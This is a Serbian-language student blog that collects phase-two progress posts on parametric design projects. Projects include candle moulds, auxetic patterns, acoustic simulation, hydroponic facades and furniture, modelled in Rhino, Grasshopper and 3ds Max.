Posted in Opšte | Comments Off on Modelovanje i ispitivanje adaptibilnosti i funkcionalnosti stress release predmeta primenom auxetic strukture-faza II

Faza 2- izrada kalupa za sveću primenom parametarskog modelovanja

Početak modelovanja sveće rotiranjem, skaliranjem i dupliciranjem elipse po vertikalnoj osi. Elipse se spajaju pomoću alatke populate geometry u Grasshopper-u. Ovom metodom dobijamo sveću interesantne geometrije sa reljefom.

Tutorijal koji je poslužio kao inspiracija:

2020-29 LTH Tutorials: Simple Organic Shortest-Walk Patterns (Grasshopper) (youtube.com)

Kod u Grasshopper-u:

1 2

 

3D model finalne i probne verzije:

3d

Pre 3D štampanja finalnog izgleda sveće potrebno je ištampati manju verziju kako bismo se uverili da je moguće napraviti funkcionalan kalup

proba

 

izlivena probna sveća (levo) i  3d ištampana forma za kalup (desno)

Kada smo utvdili da je detaljnost probne sveće zadovoljavajuća, možemo štampati i finalnu verziju.

 

 

Posted in 23/24 Radovi, Opšte | Comments Off on Faza 2- izrada kalupa za sveću primenom parametarskog modelovanja

Docarati prostor Metropolitan church

Screenshot 2024-04-13 1450372222

 

U ovoj fazi sam modelovao kenotaf u 3ds maxu i napravio vizual sa kamerom koja slika 360 stepeni. Vizual sa pogledom od 360 stepeni sam prebacio na telefon i ubacio ga u VR headset i pomocu aplikacije, vr player, sam uspeo da docaram velicinu prostora u kenotafu.

*Ažurirani projekat/avgust 2024.

Pošto nisam stigao u prvom roku da završim do kraja rad, počeo sam da radim na drugom objektu.  Zadržao sam isti koncept i ideju istraživanja monumentalnih prostora. Novi objekat je bio Metropolitan Church, takođe delo Luja Bulea. Detaljno sam modelovao enterijer i eksterijer objekta kako bih na što bolji način prikazao prostor. Cilj istraživanja ostao je isti – prenos impresije veličine i monumentalnosti prostora kroz precizno modelovanje i vizualizaciju 360°. U prilogu ispod su prikazani prvi probni renderi.

2

prvi probni

 

 

Posted in 23/24 Radovi | Comments Off on Docarati prostor Metropolitan church

Simulacija prostiranja zvuka u holu FTN-a sa i bez akustičnih panela – FAZA1

Ispitivanje započinjemo tako što ćemo prvo simulirati prostiranje zvuka u praznoj prostoriji dimenzija 5×10 m, visine 3m. Uz pomoć Grasshopper-a i plugin-a Pachyderm acoustics, prvo treba da postavimo zvučne izvore i da stvorimo simulaciju zvukova u prostoriji, a u idealnom slučaju dalje istraživanje nalaže da izačunamo vrednost odbijenog zvuka i zabeležimo brojčane iznose koji predstavljaju visinu frekvencije.

Nakon ispitivanja na bazičnoj prostoriji, preći ćemo na ispitivanje unutar hola FTN-a.

1. Simulacija zvuka na jednostavnom primeru:

 

Možemo primetiti kako se boja čestica (koje prezentuju rasprašivanje zvuka) menja, kako pomeramo brojčani parametar, što ukazuje na njihovo odbijanje o zidove, razredjivanje i slabljenje. Emitovanje zvuka počinje od izvora istog, što nam je u ovom slučaju jedna tačka u prostoriji.

2. Nakon simulacije samog zvuka, radimo kalkulaciju istog na primeru prostorije istih gabarita.

calculating sound u kutiji

U ovom slučaju imamo izvor(tačka 1) i prijemnika (tačka 2). U žutoj tzabeli dobijamo brojčane vrednosti koje predstavljaju vreme reverberacije, poređane od najniže frekvencije do najviše. Vreme reverberacije je, po definiciji, ono vreme koje je potrebno da intenzitet zvuka u prostoriji opadne na svoj milioniti deo.

 

Posted in 23/24 Radovi | Comments Off on Simulacija prostiranja zvuka u holu FTN-a sa i bez akustičnih panela – FAZA1

Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – II faza

U drugoj fazi projekta oprobana su 2 principa modelovanja nosača nadstrešnice, jedan koji se grana dvodimenzionalno i drugi trodimenzionalno. Oba su rađena u Grasshopperu, jedan pomoću Shortest walk plugina, drugi pomoću Rabbit plugina.

1. Dvodimenzionalno projektovanje nosača

Formiranjem plane-a na kom postavljamo jednu startnu tačku i na ivicu plane-a četiri završne tačke, formiramo pravolinijske putanje kojim će se pružiti štapovi nosača. U okviru Grasshoppera za to nam pomaže plugin Shortest walk.

materijal11Postavljanjem nasumičnih tačaka po plane-u dodajemo krivine putanjama štapova, kako bi ličile na prirodan proces grananja. Ubacujemo i nepravilne elipse kako bismo dodatno promenili putanju, to podešavamo tako da tačke u okviru elipsi nisu uključene u putanju. Debljinu konstrukciji dajemo putem opcije Multipipe.

materijal44

kod 2D oslonca

2. Trodimenzionalno projektovanje nosača

Korišćenjem L sistema, gde se od jedne grane prave dve između kojih je 45º, formiramo trodimenzionalni nosač. U tome nam pomaže LSystem opcija u okviru Rabbit plugina.

materijal

Dajemo debljinu konstrukciji tako što počinjemo od okruglastog prečnika i pravimo cevaste štapove. Za to koristimo Turtle opciju, u okviru koje postoji Tube setting – podešavanje cevi L sistema.

materijal2

screenshot koda

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – II faza

Modelovanje samonosive zakrivljene strukture faza 2

Testiran je postupak modelovanja samonosive strukture koja se sastoji iz kombinacije elemenata opterećenih samo na pritisak i uzdignutih prstenova opterećenih na zatezanje. Pri izvođenju ovakve strukture, presecanjem zateznih traka, gubi se ravnoteža i struktura se ruši.


 Testiranje forme:

Postupak:

  • Najpre se definiše baza strukture-kriva koja će činiti oslonac, i kriva koja će činiti zateznu traku.
  • Od zadatih krivi formira se prvo površ,a zatim mesh. Isprobano je više varijanti formiranja površi i mesha, od trouglova i četvorouglova, različitog pravca pružanja. Potrebno je dodatno ispitati koji metod bi bio najbolji za ostvarivanje željenog efekta.
  • Definisane su krive kao oslonci, gde jedna nema mogućnost pomeranja, dok druga ima mogućnost pomeranja po Z osi.
  • Primenjeni su alati koji simuliraju zakone fizike kako bi se struktura izdigla u 3D prostor.
  1. Primer sa jednim osloncem i četvorougaonim meshom.

3

 

2. Primer sa dva oslonca i četvorougaonim meshom.

2

3. Primer sa dva oslonca i četvorougaonim meshom sa dijagonalnim pravcem pružanja.

1

 

Pronalazak metoda za izvođenje:

Postupak:

  • U tačkama mesh-a postavljene su sfere određenog prečnika.
  • Urađeno je presecanje mesh-a sferema.
  • Na dobijenim isečcima urađen je MultiPipe kako bi se dobile spojnice.
  • Postavljena je još jedna grupa sfera takođe u tačkama mesh-a ali manjih dimenzija od prvobitnih.
  • Urađen je SolidDifference cele strukture i drugih sfera kako bi se dobili štapići koji ulaze u spojnice.
  • Na spojnicama je urađen zatim offset kako bi dobile debljinu.
  • Radi bolje estetike urađeno je Catmull-Clark zakrivljivanje.

 

Primer primene postupka:

Screenshot_5

Screenshot_6

 

Primenjeni alati: Rhino, Grasshopper, Kangaroo

 

Posted in 23/24 Radovi | Comments Off on Modelovanje samonosive zakrivljene strukture faza 2

Poređenje modelovanih rendera i AI rendera, faza 2

Renderi rađeni u 3ds max-u i Coroni, cilj je doći do sličnih rezultata za kraći period rada.

IMG_9670novo kup

 

Glavna informacija za AI rendere je linijski crtež iz SketchUp-a uz tekstualna objašnjenja.

 

 

plavo 2 mala

Renderi rađeni u Fabrie AI: https://www.fabrie.com/

462164 463409 964103

Renderi rađeni u LookX AI:  https://www.lookx.ai/

unknown

 

Na sajtu LookX AI  postoji mogućnost generisanja rendera sa dodatnim referentnim slikama što dodatno olakšava dolazak do krajnjeg rezultata.

 

Posted in 23/24 Radovi | Comments Off on Poređenje modelovanih rendera i AI rendera, faza 2

Faza 2 – Modelovanje hidroponske fasade primenom tesalacije

 

Pristup

Odabrala sam da se bavim dizajnom panela hidroponske fasade. Tokom istraživanja tražen je idealan oblik koji bi mogao biti uzet za modul. Prvi izbor je bio Voronoi ćelija, međutim taj oblik se pokazao komplikovan za izradu. Takođe, kada se radilo o osunčanosti, opet se javio problem izrade nadstrešnice koja prati neki modul. Za rešavavanje tih problema odlučila sam da koristim trougaonu tesalaciju zbog modularnosti koja bi omogućila jeftiniju izradu panela i učinila hodroponski način uzgoja biljaka pristupačniji prosečnom čoveku. Odabrane su tri biljke koje će se primeniti na fasadi na osnovu njihovih dimenzija i potreba za osunčanošću.

Zatim su dimenzije biljaka unete u algoritam u grasshopperu čime su dobijene tri varijacije otvora za biljke na trougaonim panelima.

šema slaganja modula

šema slaganja modula

Promenom parametara u grasshopperu omogućeno je uticanje na broj otvora i zauzetost fasade.

 

v1 (1) v1 (2)

seed 33

seed 66

varijacije fasade nastale promenom parametara

 

Posted in 23/24 Radovi | Comments Off on Faza 2 – Modelovanje hidroponske fasade primenom tesalacije

Anamorfna fasada- modelovanje i vizualizacija -faza II

U ovoj fazi sam prvo pretpostavila jedan izvor svetlosti, koji bi bacao senku cilindrične geometrije, gde bi slika koja se dobije bila formirana od osvetljenog dela gde se senka završava i od drugog dela koji je pod senkom, i tako dobijem celu sliku koju sam pretpostavila.

rezultat:

COMI MACA

-kod ovog rešenja kombinovanja senke i svetlosti mi se ne sviđa sto se ne vidi jasno zeljena slika, te sam u drugoj opciji probala da dobijem konture pretpostavljene slike samo formiranjem spoljasnje linije slike linijom gde se senka završava.

rezultat:

MACA 2

-trebalo bi poraditi na ostrini senke koja se dobije, ili dodavanjem jos cilindrične geometrije, ili menjanjem izvora svetlosti.

ideja: napraviti komplikovaniju sliku sa više od dva izvora osvetljenja

 

 

 

 

 

 

 

Posted in 23/24 Radovi | Comments Off on Anamorfna fasada- modelovanje i vizualizacija -faza II

Procena tačnosti i efikasnosti ručnog modelovanja u poređenju sa fotogrametrijskim 3D modelovanjem-Faza II

U drugoj fazi sam postupkom fotogrametrije pokušala da dobijem 3d model.

Fotografije modela sam uvezla u aplikaciju Polycam.

Screenshot_1

Dobijeni rezultat nije najbolji mogući zbog nedostatka sve neophodne tehničke opreme.

Screenshot_14

U daljoj fazi sledi modelovanje u jednom od programa i pokušaj dobijanja još boljeg rezultata postupkom fotogrametrije.

Posted in Opšte | Comments Off on Procena tačnosti i efikasnosti ručnog modelovanja u poređenju sa fotogrametrijskim 3D modelovanjem-Faza II

Modelovanje i printovanje ergonomskog i estetski privlačnog korseta – faza II

Dalje istraživanje se odnosi na modelovanje u 3d softverima:

 

Rhino 7:

Izcrtavanje dizajna i projektovanje zajedno sa mrežom kvadrata na tijelo korisnika.

Potrebno bi bilo redukovati odlik na ravne kvardrate ili trouglove, zatim iste razviti i dati im trecu dimenziju i smisleni dizajn u istoj.

Pokušaj neuspio.

1-1

 

3ds max:

Iscrtavanje dizajna i redukcija na kvadrate u ravni ili trouglove.

Potreban model (korisnik)

Modifajeri: Garment maker i Cloth

Izvjesni problemi sa seam-ovima.

2-2

 

Rhino 7 i GrassHopper:

Površina se izdjeljuje na kvadove.

p1 p2

Zatim se ofsetuju kvadovi da bi se postigla pauza između njih, radi mobilnosti.

p3

 

Ekstruduju se kvadovi, visine zavise od upotrebnih pokreta, od kretanja korisnika. Postavljamo krivu vodilju koja nam diktira visine.

p4

 

Izmodelovani volumeni se 3d štampaju na mrežici.

Posted in Opšte | Comments Off on Modelovanje i printovanje ergonomskog i estetski privlačnog korseta – faza II

STRING ART

123

STRING ART




PRIPREMA:

  • modelovanje modela….
    pomoću tri različita poprečna preseka smo dobili odredjeni model

 

  • pravljenje poprečnih preseka..
    izdvojili smko karakteristične poprečne presek, koje će formirati odredjeni oblik.

 

  • generator…
    generišmo linije koje ce interpretirati odredjeni oblik u linijske trake i formirati poprečne preseke u string-art

 

Posted in Opšte | Comments Off on STRING ART

Modelovanje i fabrikacija stolice koristeći japanese wood joinery u cilju poboljšanja modela klasično izradjene stolice- faza 2

* Postavlja se pitanje: ” U zavisnosti od primenjenog zgloba i kombinacija zglobova koliko postoji mogućih varijacija dazajna stolice? ”

-Finalni dizajn stolice na osnovu kog će se izvršiti fabrikacija zavisi od izgleda zgloba i konačnog rešenja fabrikacije istog.

istrazivanje

 

– Modelovanje zglobova u programu RHINO omogućava dalje ispitivanje mogućih sklopova stolice, kao i način fabrikacije.
-Fabrikacija: Podela zgloba u delove koji su adekvatni za lasersko sečenje.

Screenshot 2024-04-13 124453 Screenshot 2024-04-13 124517 Screenshot 2024-04-13 143517

*modelovanje zgloba u RHINO-u daje uvid u načine pripreme materijala za fabrikaciju.

IZRADA ZGLOBA LASERSKIM SEČENJEM – istraživanje sklopa samog zgloba sa ciljem razumevanja elemenata i načina spajanja 

WhatsApp Image 2024-07-13 at 15.25.06_ea4bdb84WhatsApp Image 2024-07-13 at 15.25.06_d3a801ffWhatsApp Image 2024-07-13 at 15.25.07_d5d6d093WhatsApp Image 2024-07-13 at 15.25.06_2d59708a

 

 

 

 

Posted in Opšte | Comments Off on Modelovanje i fabrikacija stolice koristeći japanese wood joinery u cilju poboljšanja modela klasično izradjene stolice- faza 2

Modelovanje ergonomski adekvatnije i adaptabilnije maske za telefon zbog lakšeg držanja i nošenja – Faza II

1. korak: Proces sam započela analizom kojom sam istražila način na koji se drži mobilni telefon u ruci korisnika, koje površine telefona su najviše zahvaćene prilikom držanja i korišćenja i tako došla do rezultata koji su mi pokazali koja su to ,,kritična mesta” površine telefona odnosno zaštitne maske, na kojima bi trebalo postaviti neki vid ojačanja, pridrživača, radi lakšeg i komfornijeg držanja telefona u ruci, kao i atraktivnijeg izgleda.analiza_compressed_page-0001

 

2. korak: Korišćenjem programa Rhino 7 izmodelovala sam jednostavnu masku, prema tačnim dimenzijama neophodnim za mobilni uređaj iPhone X. Ta maska predstavlja polazišnu tačku za dalje modelovanje. Korišćenjem Rhina i Grasshoppera potrebno je dobiti odgovarajuće tipove maski (dva tipa, određena još u prethodnom istraživanju). Nakon modelovanja plan je izvršiti uporednu analizu dva modela, kao i poređenje sa već postojećim maskama sličnog tipa, te izvršiti anketiranje ljudi kako bih sakupila što više utisaka o proizvodima i da bih došla do saznanja da li će se na ovaj način potrebe i očekivanja korisnika ispuniti.

Capture1

3. korak: Modelovanje prvog tipa maske, uzimajući u obzir prikupljene podatke iz prvobitne analize. Izmodelovala sam pozadinu maske, koja je najbitnija za ovo istraživanje. Podelila sam je na manje delove, kako bih adekvatno mogla da modifikujem površine i dobijem pogodne oblike. Ideja ove maske je da ima ,,talasastu” formu, da bude od nekog mekšeg materijala (možda neka guma) i da ispupčenja na masci budu ,,držači” za šaku, koji će služiti za udobnije i lakše držanje, ali neće biti preveliki kako ne bi smetali prilikom nošenja telefona u torbi ili džepu. Takođe, imaće i estetsku funkciju. Jednim od prvobitnih istraživanja, došla sam do zaključka da je ljudima bitno da budu ,,drugačiji” i da vole neobične i nove stvari. S tim u vezi, volela bih da ovaj proizvod bude u neku ruku revolucionaran.

Capture2

 

4. korak: Drugi tip maske modelovan je pomoću Grasshoppera. Time je dobijena maska podeljena na sitne trouglove, od kojih će posle neki moći da se uklone i time formiraju potrebne šupljine za balon. Balon je takođe izmodelovan u GH-u i urađen je vizuelni pregled na koji sve način bi balon mogao da se ponaša prilikom eksperimenta. Koja od tih situacija je verodostojna saznaću prilikom eksperimentalnog postupka.

Capture3

Posted in Opšte | Comments Off on Modelovanje ergonomski adekvatnije i adaptabilnije maske za telefon zbog lakšeg držanja i nošenja – Faza II

Faza 2 – Modelovanje hidroponicke fasade primenom teselacije

-elementi prakticne primene neke metode – slika quadrilateralne tesselacije
-pristup – tokom istrazivanja smo trazili idealan oblik koji bi mogli da uzmemo za modul, trebao nam je oblik koji bi mogao da se stavi na ravnu ili krivu fasadu, prvi izbor je bio Voronoi celija ali ubrzo smo odustali od te ideje zato sto je tesko napraviti modul od voronoi celije, ujedno kada smo dosli do problema oko osuncanosti opet se javio problem kako napraviti nadstresnicu a da prati neki modul, na kraju smo se odlucili za quadrilateralnu teselaciju koja je resila sve navedene probleme, ovo resenje je dovelo do toga da na fasadu mogu da se stave 3 razlicite biljke u razlicitim polozajima sa razlicitom velicinom
SEMA SLAGANJA MODULA

Posted in 23/24 Radovi | Comments Off on Faza 2 – Modelovanje hidroponicke fasade primenom teselacije

Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 2 – Kreiranje šablona u Grasshopper-u

1. Uvod

U drugoj fazi istraživanja, fokus je bio na postavljanju osnovne geometrije i kreiranju bistable auxetic šablona koristeći Grasshopper, dodatak za Rhinoceros 3D. Cilj je bio da se dobije osnovni šablon (onaj koji ostaje ravan nakon širenja), kao i kasnije uvođenje atraktor tačaka koje će uticati na parametre i usložnjavanje strukture.

2. Postavljanje polazne geometrije

Kreiranje šablona započeto je postavljanjem mreže trouglova, jer je osnovna heksagonalna jedinica podeljena na trouglove. Uočeno je da postoje dve vrste trouglova, zbog čega su oni razvrstani u dve liste. Svaki dalji korak primenjen na jedan set trouglova, primenjen je identično na drugi set, uz neophodno “flipovanje” krivih.

1-dispatch i explode 1

3. Kreiranje šablona

  1. Razbijanje trouglova na linije (Explode)
  2. Definisanje tačaka za dobijanje linija koje će obrazovati šablon (Evaluate curve):
    • Početne tačke
    • Krajnje tačke (Ugao theta definisan je posredno preko položaja ovih tačaka!)
  3. Razvrstavanje dobijenih tačaka (List Item):
    • Dobijene tačke su razvrstane u po tri odgovarajuće liste: tri liste početnih tačaka i tri liste krajnjih tačaka, u odnosu na to na kojoj stranici trougla se nalaze.

2-evaluatecrv i list item

4. Povezivanje odgovarajućih lista (Line):

    • Treba voditi računa o tome koju tačku sa kojom treba povezati; dobijena su tri seta potrebnih linija koje obrazuju šablon.

3-base line-definise t i theta

5. Skraćivanje linija:

    • Bilo je potrebno skratiti linije tako da se međusobno ne presecaju, formirajući mali zglob oko kojeg će se rotirati mali trougao.

4- ccx i shatter

Ovi koraci su primenjeni i na drugi set trouglova na odgovarajući način.

5-drugi set linija

Različite varijacije šablona:

parametri_varijacije sablona_0

4. Uvođenje Atraktor Tačaka

  1. Definisanje atraktor tačaka
  2. Remapiranje rastojanja atraktor tačaka do sredina stranica trouglova u vrednosti parametara t i theta
  3. Usklađivanje ivica:
    • Korišćena je alatka “Closest Point”, kako bi remapirane vrednosti mogle da se uvrste tako da se ivice šablona spajaju u odgovarajućim tačkama

closest point resenje

 

5. Zaključak

Na kraju ove faze istraživanja dobijeno je zadovoljavajuće rešenje. Kod je bio spreman za testiranje i mogao se koristiti za štampanje šablona koji će kasnije biti sečeni od papira.

 

Posted in 23/24 Radovi, Opšte | Comments Off on Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 2 – Kreiranje šablona u Grasshopper-u

Dovođenje sunčeve svetlosti objektu kojem drugi objekat blokira svetlost- faza II

Daljim istraživanjem analizirala sam osunčanost objekta tokom sva četiri godišnja doba, za vreme prolećne i jesenje ravnodnevnice, letnje dugodnevnice i zimske kratkodnevnice u 12h. Ugao zraka za geografski položaj Novog Sada izgleda ovako:

Proleće i jesen- upadni ugao približno 45°

Leto- upadni ugao približno 68°

Zima – upadni ugao približno 21°

 

zraci

Slikoviti prikaz se može dobiti u Sketchup programu uz postavljanje odovarajućih parametara.

3d prikaz

Zaključila sam da sunčevi zraci dolaze do objekta samo leti i to ne u potpunosti. Idealni zrak nakon prelamanja o optičko telo bi trebalo da zaklapa ugao približno 77° sa horizontalnicom kako bi obasjao ceo objekat.

Layout2

Preostaje pitanje kakvo optičko telo bi moglo da prelomi zrak na ovaj način, a da mu je oblik pogodan za rotaciju i da ne kvari izgled objekta. Proučavanjem optike i optičkih tela, došla sam do pretpostavke da će najviše odgovarati postavka sfernog sočiva napravljenog od stakla, sa indeksom refrakcije 1,5. Ovu pretpostavku sam analizirala u aplikaciji Ray Optics Simulation koja simulira zakone optike.

KORAK 1: Odabir vrste optičkog tela i nameštanje oblika

ray simulator 1

 

KORAK 2: Odabir zraka

ray simulator 2jpg

 

KORAK 3: Postavljanje zraka približno pod 45 stepeni i analiza prelomaray simulator 3

 

 

 

KORAK 4: Analiziranje promene situacije uz smanjenje i povećanje indeksa refrakcije

Smanjenjem indeksa refrakcije ugao prelamanja se povećava, što ne doprinosi našem cilju

ray simulator 4

 

Povećanje indeksa refrakcije rezultuje odbijanjem zraka u samom telu i preusmerenje najveće količine zraka na istu stranu gde se nalazi izvorni zrak, što takođe ne doprinosi našem cilju.ray simulator 5

ZAKLJUČAK:

Simulacija dobijena sa sfernim sočivom od stakla sa indeksom refrakcije 1.5 je najpribližnije rešenju problema, što će dalje da se analizira u programima 3ds Max i Sketchup prilikom Vray renderovanja.

 

https://phydemo.app/ray-optics/simulator/

 

 

 

Posted in 23/24 Radovi | Comments Off on Dovođenje sunčeve svetlosti objektu kojem drugi objekat blokira svetlost- faza II

Modelovanje i fabrikacija kućice za jazavičara – faza 2

Modelovanje čvrste rasklopljive strukture kućice za psa korišćenjem programa Rhino 7. Potraga za što boljim rešenjem za profitabilniji i lakši proces fabrikacije.Analiza daljih zahteva korisnika i mogućih rešenja strukture.

2 1                                                                          Kvadar predstavlja potrebne dimenzije za nesmotreno korišćenje. Krive zadaju osnovni oblik konstrukcije.

3 4 5Isprobani različiti tipovi waffle strukture, u cilju pronalaska najpovoljnijeg oblika elemenata za fabrikaciju koji zadovoljavaju zadate uslove.

6 7 8Različita gustina elemenata je uvedena radi različitog osvetljenja u enterijeru kućice.

9 10                                                      Postavljeni su uslovi i ideje za usavršavanje oblika i dodavanje elemenata radi pronalaska savršenog izgleda kućice (podloga od tkanine ispod čvrste strukture, ideja o rotiranju čvrstih elemenata radi lakše izrade).

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje i fabrikacija kućice za jazavičara – faza 2

Modelovanje maske za telefon

Proces modelovanja maske za telefon sa elementom za dodatne stvari na povrsini izucavala sam na sledeci nacin. Potrebno je bilo da se kreira povrsina odredjenog zakrivljnog oblika i debljine. Gledala sam razlicite maske za telefone i njihove dimenzije koje sam uporedila sa predmetima koji trebaju da se nalaze na samoj njenoj povrsini.

Prvo sam isprobavala da obicnu povrsinu deformisem da njene razlicite oblike dobijem time sto cu povrs podeliti na veliki broj tacaka koje bi mogle da menjaju svju poziciju i tako da formiraju razlicite oblike. Onda sam kreirala i sam oblik maske primera za telefon iphone i konvertovala tu masku u povrsinu koja takodje pomeranjem tacaka dobija razlicite ispupcene oblike i menja debljinu maske. U ovom procesu je losa strana ta sto se taj oblik povrsine ne bi menjao na osnovu nekog predmeta koji se na nju nasloni nego bi proizvoljno na osnovu tacaka ne toliko precizno menjao oblik. Time bi neophodno bilo da se isprobavaju razlicite mnoge varijacije koje bi morale da se analiziraju, da li uopste mogu da drze predmet, da li su adekvatne za drzanje u ruci i kako bi maska mogla da stane nekome u dzep.

1

 

Drugi proces proucavanja je tekao na sledeci nacin. Kreirala sam povrsinu koja prilikom podesavanja odredjenih parametara zadobija osobine “balona”, tacnije prilikom aktivacije komande naduvava svoju povrsinu i dodaje joj proizvoljnu debljinu i menja oblik povrsine. Na tu povrsinu ciji oblik menjamo naduvavanjem potrebno je postaviti predmet koji zelimo da se nosi na samoj masci. Postavkom predmeta i aktivacijom komande stvara se zeljeni oblik maske oko predmeta koji je postavljen. Prilikom podesavanja mozemo da korigujemo visinu naduvanosti maske i njenu debljinu i oblik pod kojim bi se predmet drzao na povrsini i bio adekvatan za samu ljudsku ruku. U ovom procesu bi se takodje morale izvesti razne analize kako bi se videlo da li bi gotov predmet zadovoljavao odredjene postavljene parametre da bi proizvod imao najbolju funkciju.

anino slika

Da li je patent dovoljno usavrsen kako bi zadovoljio zadate parametre

svakodnevno koriscenje

drzanje u ruci

drzanje samog predmeta koji je zadat

materijal koriscen za masku

da li je materijal dovoljno fleksibilan da zadrzi i dobije zeljeni oblik

da li bi dolazilo do ostecena povrsine pri koriscenju maske

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje maske za telefon

Modelovanje šolje animiranog lika Groot-a u 3ds Max-u – razvijanje geometrije

Na pocetku istrazivanja sam se bavila modelovanjem obicne šolje.

slikaaaa

Zatim sam počela modelovanje šolje u obliku Groot-a. Prvo sam ubacila sliku u 3ds Max-u na osnovu koje sam je modelovala.

groot

Zatim sam linijski isrtala samo jednu polovinu njegovog lica i na osnovu toga napravila šolju.

SLIKA5SLIKA6

Potom sam se bavila gornjim delom šolje tj. njegovom glavom i napravila neravnine.

SLIKA7

S obzirom da šolja ne moze da stoji ako ima ovako usko dno, donji deo sam uklonila i napravila da ona ustvari bude stabilna.

SLIKA3

Zatim sam se bavila neravninama na samoj šolji.

SLIKA4

SLIKA8

 

Posted in 23/24 Radovi | Comments Off on Modelovanje šolje animiranog lika Groot-a u 3ds Max-u – razvijanje geometrije

Vizuelizacija portreta String artom – Faza 2

Pristup rješavanju problema:

Kada odaberemo portret poznate ličnosti, treba da postavimo optimalan broj tačaka koje će se povezivati u strune. Koncept programa funkcioniše na način da treba da odaberemo koliki će biti broj tamnijih tačaka, odnosno njihovo rastojanje, i to isto i za svjetlije tačke. Nakon toga, treba da pustimo da se određen broj tačaka povezuje u strune. Na taj način možemo odrediti koja je najbolja opcija za inicijalno postavljanje tačaka na fotografiji, kako bi sa što manje njihovih povezivanja uspjeli prepoznati ličnost. U daljem istraživanju, pokušaćemo sa što više portreta i podešavanjem  tačaka, da vidimo koji je najbolji način za njihov raspored, kako bi došli do željenog cilja.

deo koda

kod u grashopperu

 

 

Posted in 23/24 Radovi | Comments Off on Vizuelizacija portreta String artom – Faza 2

Modelovanje auxetic navlaka za torbe i/ili rančeve sa ciljem adaptiranja na različite oblike i zapremine istih- Faza 2

Druga faza projekta odnosila se na izbor paterna koji će nam poslužiti prilikom izrade probnog uzorka auxetic navlake i  njegovog formiranja i pripreme za lasersko sečenje u Grasshopper i Rhino programu.

Prvenstveno smo izabrali komponentu pod nazivom ,,TriGrid”- koji se sastoji od 2D trougaonih ćelija, i definisali do kojih se granica njegova veličina i broj ćelija kreću.

TriGrid-Triangular Grid ( 2D mreža sa trougaonim ćelijama)

Zatim smo ovoj mreži dodali komonentu Crv ( Curve), kako bi izdvojili linije,  potom Explode, kako bi odvojili krive,   komponentu Item – kako bi imali listu svih izdvojenih krivi, i konačno, DupPt (Remove Duplicate Points)- komponentu koja uklanja duplirane vertekse,  nastale usled Explode komponente i odvajanja krivih. Prethodno pomenute komponente smo iskoristili kako bi došli do pojedinačnih verteksa, odnosno, temena trouglova koji čine TriGrid mrežu i koji će nam kasnije poslužiti za izradu izabranog paterna.

Izdvajanje verteksa kako bi kasnije formirali arkuse (Arc) oko svakog

Nakon toga smo odabrali u kojoj ravni i po kojim koordinatama (XY plane komponenta) i pod kojim uglom ( Degree komponenta – koju kasnije pretvaramo iz Dekartovog u Polarni koordinanti sistem (Rad)) će se delovi kružnice (Arc komponenta) formirati oko ranije pomenutih temena trouglova. Dodajemo Neg ( Negative) komponentu kako bi dobili isti oblik kao na izabranom paternu. Na kraju smo dodali komponentu Polar Array                      (ArrPolar),  kako bi sa sve tri strane formirali arkuse.

Formiranje delova kružnice (Arc) oko svakog verteksa

arrpol

Array Polar- formiranje arkusa sa tri strane verteksa

Na osnovu izabranog paterna, možemo primetiti da će budući materijal biti isečen po delovima kružnice- Arkusima (Arc). Kako bismo izbegli nepravilno širenje/ skupljanje, ili neke druge probleme deformacija materijala, definisali smo određene parametre i proveravali do kojih granica se ti parametri mogu menjati ( kao što je na primer, dužina Arc-usa, ili njihova međusobna udaljenost ), a da ne dođe do međusobnog preklapanja ili sečenja linija Arcusa.

Nepromenjeni parametri dimenzija arkusa

Promenjeni parametri dimenzija arkusa

Obzirom da izrađujemo navlaku za torbe ili rančeve, može doći do nepravilne i nejednake promene i raspodele samih Arcusa. Negde može doći do sakupljanja, negde do preteranog širenja, a negde se neće dogoditi nikakva promena. Pomoću Bounding Box-a ( BBox) i Evaluate Surface( EvalSrf)  ponovo objedinjujemo sve krive iz ranije razdvojenog TriGrid paterna. Nakon toga, MD Slider komponentom, definišemo dve referentne tačke u prostoru, a zatim Closest Point (CP) komponentom definišemo dve tačke na našoj izabranoj mreži.

Definisanje dve referentne tačke

Definisanjem ovih tačaka kao i definisanjem granica do kojih se Arcusi mogu menjati, mi imamo uvid u to kako će se sama struktura rasporediti po površini ili objektu na koju će biti aplicirana. Menjanjem ovih vrednosti, možemo primetiti kako se svi Arcusi u neposrednoj okolini izabranih tačaka šire, dok se Arcusi koji su dalji od referentnih tačaka, skupljaju.

Nepromenjeni parametri- udaljenost arkusa jedni od drugih je ista u svim tačkama mreže

Promenjeni parametri- možemo primetiti kako je udaljenost arkusa jedni od drugih veća što su arkusi bliži referentnim tačkama, a manja što su arkusi dalji od referentnih tačaka

 

 

 

Posted in 23/24 Radovi | Comments Off on Modelovanje auxetic navlaka za torbe i/ili rančeve sa ciljem adaptiranja na različite oblike i zapremine istih- Faza 2

Proces modelovanja držača za vinske flaše- Faza 2

Proces modelovanja držača za vinske flaše- Faza 2

Kriterijumi koje novonastali držač u odnosu na postojeće interpretacije treba da zadovolji su:

  1. Estetski zadovoljiti zahteve kupaca
  2. Pomoću manje materijala multipliciranjem elemenata dobiti držač koji može da drži 5-8 flaša
  3. Pristupačnija cena

Metod rada: Rhino i Grasshopper i lasersko sečenje

Potrebno je siluetu držača preneti na drvenu ploču debljine 5mm koja se lasersi obradjuje. Tako dobijen element umnožiti određen broj puta kako bi se dobio držač. Ploče treba da se ojačaju na način gde će 3 šipke debljine 1cm prolaziti kroz celu strukturu radi postizanja čvrstoće i kompaktnosti.

Posted in 23/24 Radovi | Comments Off on Proces modelovanja držača za vinske flaše- Faza 2

II Modelovanje fiksnog fasadnog brisoleja sa rotirajućim otvorima

Pomoću programa Grasshopper modeluje se fiksni brisolej sa kružnim rotirajućim otvorima, čiji se radijusi menjaju prema zadatim points attractors-ima.

Moguće se korigovanje najmanjeg, najvećeg prečnika i ugla rotacije otvora na fasadnom brisoleju.

 

Screenshot 2024-04-12 143101 Screenshot 2024-04-12 143330

f146fb6163b49571ba08ca9976d164b2https://www.pinterest.com/pin/129337820541462197/

Posted in 23/24 Radovi | Comments Off on II Modelovanje fiksnog fasadnog brisoleja sa rotirajućim otvorima

